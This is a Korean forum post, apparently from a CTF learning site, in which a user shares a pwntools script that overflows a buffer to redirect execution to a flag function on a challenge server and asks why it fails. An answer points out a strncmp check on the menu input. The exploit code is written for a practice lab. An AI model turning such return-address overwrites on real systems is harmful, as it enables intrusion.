코드에서 잘못된 것이 뭔지 모르겠습니다
from pwn import *
p = remote('host3.dreamhack.games', 11109)
context.log_level = 'debug'
#ret : 0x4013c2
#flag : 0x4012bc
a = b'a' * 6
p.sendlineafter(b'Menu: ', a)
b = a + b'a' * 2 + int.to_bytes(0x4012bc, 8, 'little')
p.sendlineafter(b'Is it cherry?: ', b)
p.interactive()
코드를 짜보았는데... 어디가 문제인지 잘 모르겠습니다..
가르쳐주세요ㅠㅠ
#pwnable
작성자 정보
답변
1
사용자
해결사
우선 strncmp
함수를 이용하여 입력한 메뉴(Menu)가 cherry인지를 검사하는 것이 선행되기 때문에, 해당 부분에 맞는 입력을 전달해주어야 할 것으로 보입니다! 😊